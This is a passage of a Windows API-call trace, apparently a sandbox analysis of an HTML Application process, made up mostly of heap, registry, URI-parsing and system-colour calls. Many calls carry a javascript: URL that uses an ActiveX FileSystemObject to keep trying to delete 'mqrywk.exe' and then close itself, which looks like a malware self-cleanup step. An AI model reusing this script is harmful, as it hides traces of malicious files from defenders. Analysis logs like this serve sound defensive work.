Flags=0x0, Size=0x4c) returned 0x78ea38 [0030.440] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x800) returned 0x78ea90 [0030.440] IsCharSpaceW (wch=0x48) returned 0 [0030.440] IsCharAlphaNumericW (ch=0x5c) returned 0 [0030.440] IsCharSpaceW (wch=0x5c) returned 0 [0030.440] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x18) returned 0x773638 [0030.440] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x50) returned 0x78f298 [0030.440] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x14) returned 0x773658 [0030.440] IsCharSpaceW (wch=0x41) returned 0 [0030.441] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x78cad0 [0030.441] IsCharAlphaNumericW (ch=0x20) returned 0 [0030.441] IsCharSpaceW (wch=0x20) returned 1 [0030.441] IsCharSpaceW (wch=0x7b) returned 0 [0030.441] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x1c) returned 0x77ff50 [0030.441] IsCharSpaceW (wch=0x20) returned 1 [0030.441] IsCharAlphaNumericW (ch=0x7b) returned 0 [0030.441] IsCharSpaceW (wch=0x62) returned 0 [0030.441] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78f298 | out: hHeap=0x750000) returned 1 [0030.441] IsCharAlphaNumericW (ch=0x3a) returned 0 [0030.441] IsCharSpaceW (wch=0x3a) returned 0 [0030.441] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x1c) returned 0x77ff78 [0030.446] IsCharAlphaNumericW (ch=0x3a) returned 0 [0030.447] IsCharSpaceW (wch=0x75) returned 0 [0030.447] IsCharAlphaNumericW (ch=0x28) returned 0 [0030.447] IsCharSpaceW (wch=0x28) returned 0 [0030.447] IsCharAlphaNumericW (ch=0x28) returned 0 [0030.447] IsCharSpaceW (wch=0x23) returned 0 [0030.447] IsCharSpaceW (wch=0x23) returned 0 [0030.447] IsCharSpaceW (wch=0x7d) returned 0 [0030.447] IsCharAlphaNumericW (ch=0x7d) returned 0 [0030.447] IsCharSpaceW (wch=0x29) returned 0 [0030.447] IsCharSpaceW (wch=0x75) returned 0 [0030.447] IsCharSpaceW (wch=0x75) returned 0 [0030.447] IsCharSpaceW (wch=0x29) returned 0 [0030.447] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x14) returned 0x773698 [0030.447] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x34) returned 0x78f4a0 [0030.447] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x40) returned 0x7642a8 [0030.447] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x78cae8 [0030.447] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x78cb00 [0030.447] CoTaskMemFree (pv=0x78c9b0) [0030.447] CoTaskMemFree (pv=0x764858) [0030.447] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x14) returned 0x7736b8 [0030.447] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x769d0000 [0030.448] GetProcAddress (hModule=0x769d0000, lpProcName=0x6) returned 0x769d3e59 [0030.448] StrCmpCW (pszStr1="Software\\Microsoft\\Internet Explorer", pszStr2="Software\\Microsoft\\Windows Mail\\Trident") returned -14 [0030.448] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x340) returned 0x78f4e0 [0030.448] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x4a) returned 0x78f840 [0030.448] IsOS (dwOS=0x25) returned 1 [0030.448] GetSysColor (nIndex=26) returned 0xcc6600 [0030.448] IsOS (dwOS=0x25) returned 1 [0030.448] GetSysColor (nIndex=5) returned 0xffffff [0030.448] GetSysColor (nIndex=8) returned 0x0 [0030.448] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0030.448] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x764858 [0030.461] wcstol (in: _String="0,0,255", _EndPtr=0x40e90c, _Radix=10 | out: _EndPtr=0x40e90c*=",0,255") returned 0 [0030.461] wcstol (in: _String="0,255", _EndPtr=0x40e90c, _Radix=10 | out: _EndPtr=0x40e90c*=",255") returned 0 [0030.461] wcstol (in: _String="255", _EndPtr=0x40e90c, _Radix=10 | out: _EndPtr=0x40e90c*="") returned 255 [0030.461] wcstol (in: _String="128,0,128", _EndPtr=0x40e90c, _Radix=10 | out: _EndPtr=0x40e90c*=",0,128") returned 128 [0030.461] wcstol (in: _String="0,128", _EndPtr=0x40e90c, _Radix=10 | out: _EndPtr=0x40e90c*=",128") returned 0 [0030.461] wcstol (in: _String="128", _EndPtr=0x40e90c, _Radix=10 | out: _EndPtr=0x40e90c*="") returned 128 [0030.463] GetModuleHandleW (lpModuleName="EXPLORER.EXE") returned 0x0 [0030.463] GetModuleHandleW (lpModuleName="IEXPLORE.EXE") returned 0x0 [0030.463] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\PageSetup", ulOptions=0x0, samDesired=0x20019, phkResult=0x40f9c4 | out: phkResult=0x40f9c4*=0xa8) returned 0x0 [0030.463] SHGetValueW (in: hkey=0xa8, pszSubKey=0x0, pszValue="Print_Background", pdwType=0x0, pvData=0x40f9c8, pcbData=0x40f9c0*=0xa | out: pdwType=0x0, pvData=0x40f9c8, pcbData=0x40f9c0*=0xa) returned 0x2 [0030.463] RegCloseKey (hKey=0xa8) returned 0x0 [0030.463] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x80) returned 0x791828 [0030.463] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x77b998 [0030.463] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x3a) returned 0x764338 [0030.464] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x6a) returned 0x7918b0 [0030.468] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x764888 [0030.468] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x26) returned 0x76d1e0 [0030.468] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x6e) returned 0x791928 [0030.469] GetProcessHeap () returned 0x750000 [0030.469] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78c9b0 | out: hHeap=0x750000) returned 1 [0030.469] GetProcessHeap () returned 0x750000 [0030.469] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x790840 | out: hHeap=0x750000) returned 1 [0030.469] GetProcessHeap () returned 0x750000 [0030.469] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x77bd50 | out: hHeap=0x750000) returned 1 [0030.469] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x14) returned 0x7736d8 [0030.469] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7648b8 [0030.469] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x14) returned 0x7736f8 [0030.469] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x40) returned 0x764380 [0030.470] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x60) returned 0x78c9b0 [0030.470] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x24) returned 0x76d210 [0030.470] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x1c) returned 0x77ffc8 [0030.470] GetAcceptLanguagesW () returned 0x0 [0030.470] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x77b5d8 [0030.470] GetClassNameW (in: hWnd=0x30270, lpClassName=0x40fc94, nMaxCount=10 | out: lpClassName="HTML Appl") returned 9 [0030.471] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="HTML Appl", cchCount1=9, lpString2="HH Parent", cchCount2=9) returned 3 [0030.471] GetParent (hWnd=0x30270) returned 0x50134 [0030.471] GetClassNameW (in: hWnd=0x50134, lpClassName=0x40fc94, nMaxCount=10 | out: lpClassName="HTML Appl") returned 9 [0030.471] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="HTML Appl", cchCount1=9, lpString2="HH Parent", cchCount2=9) returned 3 [0030.471] GetParent (hWnd=0x50134) returned 0x0 [0030.471] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x14) returned 0x773718 [0030.471] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x28) returned 0x76d240 [0030.471] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x773718 | out: hHeap=0x750000) returned 1 [0030.479] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x4c) returned 0x78f898 [0030.479] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0xe) returned 0x78cb78 [0030.479] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x94) returned 0x7919a0 [0030.479] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x14) returned 0x773718 [0030.479] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x12) returned 0x773738 [0030.479] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x14) returned 0x773758 [0030.480] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0xe) returned 0x78cb90 [0030.480] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x10) returned 0x78cba8 [0030.480] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0xe) returned 0x78cbc0 [0030.480] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x10) returned 0x78cbd8 [0030.480] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x1c) returned 0x77fff0 [0030.480] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x1a) returned 0x780018 [0030.480] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x1a) returned 0x780040 [0030.480] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x12) returned 0x773778 [0030.480] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x12) returned 0x773798 [0030.480] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x12) returned 0x7737b8 [0030.480] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x12) returned 0x7737d8 [0030.480] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x10) returned 0x78cbf0 [0030.481] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x78cc20 [0030.481] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x10) returned 0x78cc38 [0030.481] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x12) returned 0x7737f8 [0030.481] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0xe) returned 0x78cc50 [0030.481] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x78cc68 [0030.481] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x26) returned 0x76d270 [0030.481] GetProcessHeap () returned 0x750000 [0030.481] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x780068 | out: hHeap=0x750000) returned 1 [0030.481] GetProcessHeap () returned 0x750000 [0030.481] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x780090 | out: hHeap=0x750000) returned 1 [0030.481] GetProcessHeap () returned 0x750000 [0030.481] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7800b8 | out: hHeap=0x750000) returned 1 [0030.481] GetProcessHeap () returned 0x750000 [0030.481] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x77b608 | out: hHeap=0x750000) returned 1 [0030.481] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78cbf0 | out: hHeap=0x750000) returned 1 [0030.481] IMoniker:GetDisplayName (in: This=0x77ad18, pbc=0x0, pmkToLeft=0x0, ppszDisplayName=0x40fc58 | out: ppszDisplayName=0x40fc58*="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);") returned 0x0 [0030.481] IUnknown:QueryInterface (in: This=0x77ad18, riid=0x734872f4*(Data1=0xa158a630, Data2=0xed6f, Data3=0x45fb, Data4=([0]=0xb9, [1]=0x87, [2]=0xf6, [3]=0x86, [4]=0x76, [5]=0xf5, [6]=0x77, [7]=0x52)), ppvObject=0x40fc30 | out: ppvObject=0x40fc30*=0x77ad24) returned 0x0 [0030.481] IUriContainer:GetIUri (in: This=0x77ad24, ppIUri=0x40fc60 | out: ppIUri=0x40fc60*=0x77c6ac) returned 0x0 [0030.482] IUnknown:Release (This=0x77ad24) returned 0x1 [0030.482] IUnknown:AddRef (This=0x77ad18) returned 0x2 [0030.482] IUnknown:AddRef (This=0x77c6ac) returned 0x5 [0030.482] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0030.482] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0030.482] IMoniker:GetDisplayName (in: This=0x77ad18, pbc=0x0, pmkToLeft=0x0, ppszDisplayName=0x40fb38 | out: ppszDisplayName=0x40fb38*="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);") returned 0x0 [0030.482] UrlGetLocationW (psz1="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);") returned 0x0 [0030.482] CreateURLMonikerEx (in: pMkCtx=0x0, szURL="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", ppmk=0x40fb04*=0x0, dwFlags=0x1 | out: ppmk=0x40fb04*=0x790840) returned 0x0 [0030.482] DllGetClassObject (in: rclsid=0x7819f4*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x40f648 | out: ppv=0x40f648*=0x73888d20) returned 0x0 [0030.482] IUnknown:QueryInterface (in: This=0x73888d20, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x40f734 | out: ppvObject=0x40f734*=0x73888d2c) returned 0x0 [0030.482] IUnknown:Release (This=0x73888d20) returned 0x1 [0030.482] IInternetProtocolInfo:ParseUrl (in: This=0x73888d2c, pwzUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", ParseAction=1, dwParseFlags=0x10000, pwzResult=0x791c80, cchResult=0x824, pcchResult=0x40fa48, dwReserved=0x0 | out: pwzResult="", pcchResult=0x40fa48*=0x0) returned 0x800c0011 [0030.482] IUnknown:Release (This=0x73888d2c) returned 0x1 [0030.483] CreateUri (in: pwzURI="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", dwFlags=0x2b84, dwReserved=0x0, ppURI=0x40fafc | out: ppURI=0x40fafc*=0x77c424) returned 0x0 [0030.483] IUri:GetScheme (in: This=0x77c424, pdwScheme=0x40fa94 | out: pdwScheme=0x40fa94*=0xf) returned 0x0 [0030.483] CoInternetIsFeatureEnabled (FeatureEntry=0x1, dwFlags=0x2) returned 0x1 [0030.483] IUnknown:QueryInterface (in: This=0x77c424, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x40fa9c | out: ppvObject=0x40fa9c*=0x77c424) returned 0x0 [0030.483] IUnknown:Release (This=0x77c424) returned 0x2 [0030.483] IUnknown:AddRef (This=0x77c424) returned 0x3 [0030.483] IUnknown:Release (This=0x77c424) returned 0x2 [0030.483] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0030.483] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x1c) returned 0x7800b8 [0030.483] IUnknown:AddRef (This=0x77c424) returned 0x3 [0030.483] IUri:GetAbsoluteUri (in: This=0x77c424, pbstrAbsoluteUri=0x7800b8 | out: pbstrAbsoluteUri=0x7800b8*="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);") returned 0x0 [0030.483] IUnknown:Release (This=0x77c424) returned 0x2 [0030.484] IUnknown:AddRef (This=0x790840) returned 0x2 [0030.484] IUnknown:Release (This=0x790840) returned 0x1 [0030.484] IUnknown:AddRef (This=0x77ad18) returned 0x3 [0030.484] IUnknown:Release (This=0x790840) returned 0x0 [0030.484] IUnknown:AddRef (This=0x77ad18) returned 0x4 [0030.484] IUnknown:QueryInterface (in: This=0x77c6ac, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x40f904 | out: ppvObject=0x40f904*=0x77c6ac) returned 0x0 [0030.484] IUnknown:Release (This=0x77c6ac) returned 0x5 [0030.484] IUnknown:AddRef (This=0x77c6ac) returned 0x6 [0030.484] IUnknown:QueryInterface (in: This=0x77ad18, riid=0x734872f4*(Data1=0xa158a630, Data2=0xed6f, Data3=0x45fb, Data4=([0]=0xb9, [1]=0x87, [2]=0xf6, [3]=0x86, [4]=0x76, [5]=0xf5, [6]=0x77, [7]=0x52)), ppvObject=0x40f8d8 | out: ppvObject=0x40f8d8*=0x77ad24) returned 0x0 [0030.484] IUriContainer:GetIUri (in: This=0x77ad24, ppIUri=0x40f92c | out: ppIUri=0x40f92c*=0x77c6ac) returned 0x0 [0030.484] IUnknown:Release (This=0x77ad24) returned 0x4 [0030.484] IUnknown:AddRef (This=0x77ad18) returned 0x5 [0030.484] IUnknown:Release (This=0x77ad18) returned 0x4 [0030.484] IUnknown:AddRef (This=0x77c6ac) returned 0x8 [0030.484] IUnknown:QueryInterface (in: This=0x77c6ac, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x40f904 | out: ppvObject=0x40f904*=0x77c6ac) returned 0x0 [0030.484] IUnknown:Release (This=0x77c6ac) returned 0x8 [0030.484] IUnknown:AddRef (This=0x77c6ac) returned 0x9 [0030.484] IUri:GetScheme (in: This=0x77c6ac, pdwScheme=0x40f8fc | out: pdwScheme=0x40f8fc*=0xf) returned 0x0 [0030.484] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0xc8) returned 0x791c80 [0030.484] GetCurrentProcessId () returned 0x940 [0030.484] IUnknown:QueryInterface (in: This=0x77c6ac, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x40f904 | out: ppvObject=0x40f904*=0x77c6ac) returned 0x0 [0030.484] IUnknown:Release (This=0x77c6ac) returned 0x9 [0030.484] IUnknown:AddRef (This=0x77c6ac) returned 0xa [0030.484] IUri:GetScheme (in: This=0x77c6ac, pdwScheme=0x40f8d4 | out: pdwScheme=0x40f8d4*=0xf) returned 0x0 [0030.484] IUri:GetAbsoluteUri (in: This=0x77c6ac, pbstrAbsoluteUri=0x40f904 | out: pbstrAbsoluteUri=0x40f904*="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);") returned 0x0 [0030.485] GetProcAddress (hModule=0x769d0000, lpProcName=0x7) returned 0x769d4680 [0030.485] SysStringLen (param_1="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);") returned 0x8b [0030.485] CreateUri (in: pwzURI="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", dwFlags=0x2b80, dwReserved=0x0, ppURI=0x40f920 | out: ppURI=0x40f920*=0x77c424) returned 0x0 [0030.485] IUnknown:Release (This=0x77c6ac) returned 0x9 [0030.485] IUri:GetScheme (in: This=0x77c424, pdwScheme=0x40f8b4 | out: pdwScheme=0x40f8b4*=0xf) returned 0x0 [0030.485] IUnknown:QueryInterface (in: This=0x77c424, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x40f8bc | out: ppvObject=0x40f8bc*=0x77c424) returned 0x0 [0030.485] IUnknown:Release (This=0x77c424) returned 0x3 [0030.485] IUnknown:AddRef (This=0x77c424) returned 0x4 [0030.485] IUnknown:Release (This=0x77c424) returned 0x3 [0030.485] IUnknown:AddRef (This=0x77c424) returned 0x4 [0030.485] IUri:GetPropertyDWORD (in: This=0x77c424, uriProp=0x11, pdwProperty=0x40f694, dwFlags=0x0 | out: pdwProperty=0x40f694*=0xf) returned 0x0 [0030.485] IInternetSecurityManager:GetSecurityId (in: This=0x785558, pwszUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", pbSecurityId=0x40f6f8, pcbSecurityId=0x40f6f4*=0x200, dwReserved=0x0 | out: pbSecurityId=0x40f6f8*=0x6a, pcbSecurityId=0x40f6f4*=0x8f) returned 0x0 [0030.485] IInternetSecurityManager:GetSecurityId (in: This=0x738896bc, pwszUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", pbSecurityId=0x40f6f8, pcbSecurityId=0x40f6f4*=0x200, dwReserved=0x0 | out: pbSecurityId=0x40f6f8*=0x0, pcbSecurityId=0x40f6f4*=0x200) returned 0x800c0011 [0030.486] DllGetClassObject (in: rclsid=0x7819f4*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x40efd0 | out: ppv=0x40efd0*=0x73888d20) returned 0x0 [0030.486] IUnknown:QueryInterface (in: This=0x73888d20, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x40f0bc | out: ppvObject=0x40f0bc*=0x73888d2c) returned 0x0 [0030.486] IUnknown:Release (This=0x73888d20) returned 0x1 [0030.486] IInternetProtocolInfo:ParseUrl (in: This=0x73888d2c, pwzUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", ParseAction=3, dwParseFlags=0x0, pwzResult=0x791e78, cchResult=0x8c, pcchResult=0x40f104, dwReserved=0x0 | out: pwzResult="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", pcchResult=0x40f104*=0x8c) returned 0x0 [0030.486] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x11c) returned 0x791f98 [0030.486] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x791f98 | out: hHeap=0x750000) returned 1 [0030.486] IUnknown:Release (This=0x73888d2c) returned 0x1 [0030.486] DllGetClassObject (in: rclsid=0x7819f4*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x40efd0 | out: ppv=0x40efd0*=0x73888d20) returned 0x0 [0030.486] IUnknown:QueryInterface (in: This=0x73888d20, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x40f0bc | out: ppvObject=0x40f0bc*=0x73888d2c) returned 0x0 [0030.486] IUnknown:Release (This=0x73888d20) returned 0x1 [0030.486] IInternetProtocolInfo:ParseUrl (in: This=0x73888d2c, pwzUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", ParseAction=17, dwParseFlags=0x0, pwzResult=0x791e78, cchResult=0x8c, pcchResult=0x40f114, dwReserved=0x0 | out: pwzResult="", pcchResult=0x40f114*=0x0) returned 0x800c0011 [0030.486] IUnknown:Release (This=0x73888d2c) returned 0x1 [0030.487] IUnknown:Release (This=0x77c424) returned 0x4 [0030.487] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x77b8f0 | out: hHeap=0x750000) returned 1 [0030.487] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x8f) returned 0x791f10 [0030.487] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x77b950 | out: hHeap=0x750000) returned 1 [0030.487] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x8f) returned 0x791fa8 [0030.489] IUri:GetScheme (in: This=0x77c6ac, pdwScheme=0x40f8fc | out: pdwScheme=0x40f8fc*=0xf) returned 0x0 [0030.499] GetDC (hWnd=0x0) returned 0xfffffffff40106dc [0030.499] CreateCompatibleBitmap (hdc=0xf40106dc, cx=1, cy=1) returned 0xffffffffca050749 [0030.499] GetDIBits (in: hdc=0xf40106dc, hbm=0xca050749, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x40f480, usage=0x0 | out: lpvBits=0x0, lpbmi=0x40f480) returned 1 [0030.499] GetDIBits (in: hdc=0xf40106dc, hbm=0xca050749, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x40f480, usage=0x0 | out: lpvBits=0x0, lpbmi=0x40f480) returned 1 [0030.499] DeleteObject (ho=0xca050749) returned 1 [0030.500] GetSysColor (nIndex=0) returned 0xc8c8c8 [0030.500] GetSysColor (nIndex=1) returned 0x0 [0030.500] GetSysColor (nIndex=2) returned 0xd1b499 [0030.500] GetSysColor (nIndex=3) returned 0xdbcdbf [0030.500] GetSysColor (nIndex=4) returned 0xf0f0f0 [0030.500] GetSysColor (nIndex=5) returned 0xffffff [0030.500] GetSysColor (nIndex=6) returned 0x646464 [0030.500] GetSysColor (nIndex=7) returned 0x0 [0030.500] GetSysColor (nIndex=8) returned 0x0 [0030.500] GetSysColor (nIndex=9) returned 0x0 [0030.500] GetSysColor (nIndex=10) returned 0xb4b4b4 [0030.500] GetSysColor (nIndex=11) returned 0xfcf7f4 [0030.500] GetSysColor (nIndex=12) returned 0xababab [0030.500] GetSysColor (nIndex=13) returned 0xff9933 [0030.500] GetSysColor (nIndex=14) returned 0xffffff [0030.500] GetSysColor (nIndex=15) returned 0xf0f0f0 [0030.500] GetSysColor (nIndex=16) returned 0xa0a0a0 [0030.500] GetSysColor (nIndex=17) returned 0x6d6d6d [0030.500] GetSysColor (nIndex=18) returned 0x0 [0030.500] GetSysColor (nIndex=19) returned 0x544e43 [0030.500] GetSysColor (nIndex=20) returned 0xffffff [0030.501] GetSysColor (nIndex=21) returned 0x696969 [0030.501] GetSysColor (nIndex=22) returned 0xe3e3e3 [0030.501] GetSysColor (nIndex=23) returned 0x0 [0030.501] GetSysColor (nIndex=24) returned 0xe1ffff [0030.501] GetSysColor (nIndex=25) returned 0x0 [0030.501] GetSysColor (nIndex=26) returned 0xcc6600 [0030.501] GetSysColor (nIndex=27) returned 0xead1b9 [0030.501] GetSysColor (nIndex=28) returned 0xf2e4d7 [0030.501] 